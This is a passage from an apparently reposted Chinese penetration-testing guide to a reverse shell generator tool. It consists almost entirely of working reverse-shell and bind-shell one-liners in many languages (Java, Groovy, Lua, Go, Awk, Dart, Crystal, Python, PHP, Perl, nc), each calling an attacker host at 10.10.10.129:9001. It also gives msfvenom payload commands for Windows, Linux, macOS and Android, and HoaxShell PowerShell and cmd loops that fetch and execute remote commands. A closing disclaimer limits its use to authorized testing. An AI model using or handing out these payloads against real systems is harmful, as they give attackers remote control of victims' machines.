&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;int&nbsp;port&nbsp;=&nbsp;9001;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;cmd&nbsp;=&nbsp;"bash";
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Process&nbsp;p&nbsp;=&nbsp;new&nbsp;ProcessBuilder(cmd).redirectErrorStream(true).start();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Socket&nbsp;s&nbsp;=&nbsp;new&nbsp;Socket(host, port);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;InputStream&nbsp;pi&nbsp;=&nbsp;p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;OutputStream&nbsp;po&nbsp;=&nbsp;p.getOutputStream(), so = s.getOutputStream();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;(!s.isClosed()) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;(pi.available() >&nbsp;0)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; so.write(pi.read());
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;(pe.available() >&nbsp;0)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; so.write(pe.read());
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;(si.available() >&nbsp;0)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; po.write(si.read());
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; so.flush();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; po.flush();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Thread.sleep(50);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p.exitValue();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e) {}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p.destroy();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s.close();
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e) {}
&nbsp; &nbsp; }
}

Groovy 反向 Shell

Groovy

String host="10.10.10.129";int&nbsp;port=9001;String cmd="bash";Process p=new&nbsp;ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new&nbsp;Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try&nbsp;{p.exitValue();break;}catch&nbsp;(Exception e){}};p.destroy();s.close();

zsh 反向 Shell

zsh

zsh -c&nbsp;'zmodload zsh/net/tcp && ztcp 10.10.10.129 9001 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'

Lua 反向 Shell

Lua #1

lua -e&nbsp;"require('socket');require('os');t=socket.tcp();t:connect('10.10.10.129','9001');os.execute('bash -i <&3 >&3 2>&3');"

Lua #2

lua5.1 -e&nbsp;'local host, port = "10.10.10.129", 9001 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

Golang 反向 Shell

Golang

echo&nbsp;'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.10.10.129:9001");cmd:=exec.Command("bash");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}'&nbsp;> /tmp/t.go && go run /tmp/t.go &&&nbsp;rm&nbsp;/tmp/t.go

Vlang 反向 Shell

Vlang

echo&nbsp;'import os'&nbsp;> /tmp/t.v &&&nbsp;echo&nbsp;'fn main() { os.system("nc -e bash 10.10.10.129 9001 0>&1") }'&nbsp;>> /tmp/t.v && v run /tmp/t.v &&&nbsp;rm&nbsp;/tmp/t.v

Awk 反向 Shell

Awk

awk&nbsp;'BEGIN {s = "/inet/tcp/0/10.10.10.129/9001"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}'&nbsp;/dev/null

Dart 反向 Shell

Dart

import&nbsp;'dart:io';
import&nbsp;'dart:convert';

main() {
&nbsp; Socket.connect("10.10.10.129",&nbsp;9001).then((socket) {
&nbsp; &nbsp; socket.listen((data) {
&nbsp; &nbsp; &nbsp; Process.start('bash', []).then((Process process) {
&nbsp; &nbsp; &nbsp; &nbsp; process.stdin.writeln(new&nbsp;String.fromCharCodes(data).trim());
&nbsp; &nbsp; &nbsp; &nbsp; process.stdout
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .transform(utf8.decoder)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .listen((output) { socket.write(output); });
&nbsp; &nbsp; &nbsp; });
&nbsp; &nbsp; },
&nbsp; &nbsp; onDone: () {
&nbsp; &nbsp; &nbsp; socket.destroy();
&nbsp; &nbsp; });
&nbsp; });
}

Crystal 反向 Shell

Crystal (system)

crystal&nbsp;eval&nbsp;'require "process";require "socket";c=Socket.tcp(Socket::Family::INET);c.connect("10.10.10.129",9001);loop{m,l=c.receive;p=Process.new(m.rstrip("\n"),output:Process::Redirect::Pipe,shell:true);c<<p.output.gets_to_end}'

Crystal (code)

require&nbsp;"process"
require&nbsp;"socket"

c = Socket.tcp(Socket::Family::INET)
c.connect("10.10.10.129",&nbsp;9001)
loop&nbsp;do
&nbsp; m, l = c.receive
&nbsp; p = Process.new(m.rstrip("\n"),&nbsp;output:Process::Redirect::Pipe,&nbsp;shell:true)
&nbsp; c << p.output.gets_to_end
end

Bind Shell 命令

Python3 Bind

python3 -c&nbsp;'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",9001));s1.listen(1);c,a=s1.accept();
while True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'

PHP Bind

php -r&nbsp;'$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",9001);\socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;\$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'

nc Bind

rm&nbsp;-f /tmp/f;&nbsp;mkfifo&nbsp;/tmp/f;&nbsp;cat&nbsp;/tmp/f | /bin/bash -i 2>&1 | nc -l 0.0.0.0 9001 > /tmp/f

Perl Bind

perl -e&nbsp;'use Socket;$p=9001;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'

MSFVenom 命令

Windows

| 名称 | 命令 | | — | — | | Windows Meterpreter Staged Reverse TCP (x64) | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f exe -o reverse.exe | | Windows Meterpreter Stageless Reverse TCP (x64) | msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f exe -o reverse.exe | | Windows Staged Reverse TCP (x64) | msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f exe -o reverse.exe | | Windows Stageless Reverse TCP (x64) | msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f exe -o reverse.exe | | Windows Staged JSP Reverse TCP | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f jsp -o ./rev.jsp | | Windows Staged ASPX Reverse TCP | msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f aspx -o reverse.aspx | | Windows Staged ASPX Reverse TCP (x64) | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f aspx -o reverse.aspx |

Linux

| 名称 | 命令 | | — | — | | Linux Meterpreter Staged Reverse TCP (x64) | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f elf -o reverse.elf | | Linux Stageless Reverse TCP (x64) | msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f elf -o reverse.elf |

macOS

| 名称 | 命令 | | — | — | | macOS Meterpreter Staged Reverse TCP (x64) | msfvenom -p osx/x64/meterpreter/reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f macho -o shell.macho | | macOS Meterpreter Stageless Reverse TCP (x64) | msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f macho -o shell.macho | | macOS Stageless Reverse TCP (x64) | msfvenom -p osx/x64/shell_reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f macho -o shell.macho |

其他平台

| 名称 | 命令 | | — | — | | PHP Meterpreter Stageless Reverse TCP | msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f raw -o shell.php | | PHP Reverse PHP | msfvenom -p php/reverse_php LHOST=10.10.10.129 LPORT=9001 -o shell.php | | JSP Stageless Reverse TCP | msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f raw -o shell.jsp | | WAR Stageless Reverse TCP | msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.129 LPORT=9001 -f war -o shell.war | | Android Meterpreter Reverse TCP | msfvenom --platform android -p android/meterpreter/reverse_tcp lhost=10.10.10.129 lport=9001 R -o malicious.apk | | Python Stageless Reverse TCP | msfvenom -p cmd/unix/reverse_python LHOST=10.10.10.129 LPORT=9001 -f raw | | Bash Stageless Reverse TCP | msfvenom -p cmd/unix/reverse_bash LHOST=10.10.10.129 LPORT=9001 -f raw -o shell.sh |


HoaxShell 命令

Windows CMD cURL

@echo&nbsp;off&cmd&nbsp;/V:ON /C "SET&nbsp;ip=10.10.10.129:9001&&SET&nbsp;sid="Authorization: eb6a44aa-8acc1e56-629ea455"&&SET&nbsp;protocol=http://&&curl&nbsp;!protocol!!ip!/eb6a44aa -H&nbsp;!sid!&nbsp;>&nbsp;NUL&nbsp;&&&nbsp;for&nbsp;/L %i&nbsp;in&nbsp;(0)&nbsp;do&nbsp;(curl -s&nbsp;!protocol!!ip!/8acc1e56 -H&nbsp;!sid!&nbsp;>&nbsp;!temp!\cmd.bat &&nbsp;type&nbsp;!temp!\cmd.bat |&nbsp;findstr&nbsp;None >&nbsp;NUL&nbsp;&&nbsp;if&nbsp;errorlevel&nbsp;1&nbsp;((!temp!\cmd.bat >&nbsp;!tmp!\out.txt&nbsp;2>&1) & curl&nbsp;!protocol!!ip!/629ea455 -X POST -H&nbsp;!sid!&nbsp;--data-binary @!temp!\out.txt >&nbsp;NUL)) & timeout&nbsp;1" >&nbsp;NUL

PowerShell IEX

$s='10.10.10.129:9001';$i='14f30f27-650c00d7-fef40df7';$p='http://';$v=IRM&nbsp;-UseBasicParsing&nbsp;-Uri&nbsp;$p$s/14f30f27&nbsp;-Headers&nbsp;@{"Authorization"=$i};while&nbsp;($true){$c=(IRM&nbsp;-UseBasicParsing&nbsp;-Uri&nbsp;$p$s/650c00d7&nbsp;-Headers&nbsp;@{"Authorization"=$i});if&nbsp;($c&nbsp;-ne&nbsp;'None') {$r=IEX&nbsp;$c&nbsp;-ErrorAction&nbsp;Stop&nbsp;-ErrorVariable&nbsp;e;$r=Out-String&nbsp;-InputObject&nbsp;$r;$t=IRM&nbsp;-Uri&nbsp;$p$s/fef40df7&nbsp;-Method&nbsp;POST&nbsp;-Headers&nbsp;@{"Authorization"=$i}&nbsp;-Body&nbsp;([System.Text.Encoding]::UTF8.GetBytes($e+$r)&nbsp;-join&nbsp;' ')}&nbsp;sleep&nbsp;0.8}

支持的 Shell 类型

| Shell | 路径 | | — | — | | sh | /bin/sh | | bash | /bin/bash | | cmd | Windows CMD | | powershell | Windows PowerShell | | pwsh | PowerShell Core | | ash | Almquist Shell | | bsh | Bourne Shell | | csh | C Shell | | ksh | Korn Shell | | zsh | Z Shell | | pdksh | Public Domain Korn Shell | | tcsh | TENEX C Shell | | mksh | MirBSD Korn Shell | | dash | Debian Almquist Shell |


快速参考表

| 语言/工具 | 命令类型 | 适用场景 | | — | — | — | | Bash | 内置 | Linux 原生支持 | | Netcat | 通用 | 最常用 | | Python | 脚本 | 跨平台 | | Perl | 脚本 | Unix/Linux | | Ruby | 脚本 | Rails 环境 | | PHP | Web | Web 服务器 | | PowerShell | Windows | Windows 系统 | | Java | 跨平台 | 企业环境 | | Node.js | JavaScript | 服务端 JS | | Go/Rust/V | 编译 | 静态二进制 |


相关资源

  • • HoaxShell 文档: https://github.com/t3l3machus/hoaxshell/tree/main/revshells

免责声明

本文档仅供安全研究和教育目的使用。请确保在使用这些技术时遵守当地法律法规,仅在授权范围内进行测试。未经授权使用这些技术可能构成违法行为。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:利刃信安 利刃信安 利刃信安《【渗透测试】Reverse Shell Generator 工具使用指南》

评论:0   参与:  0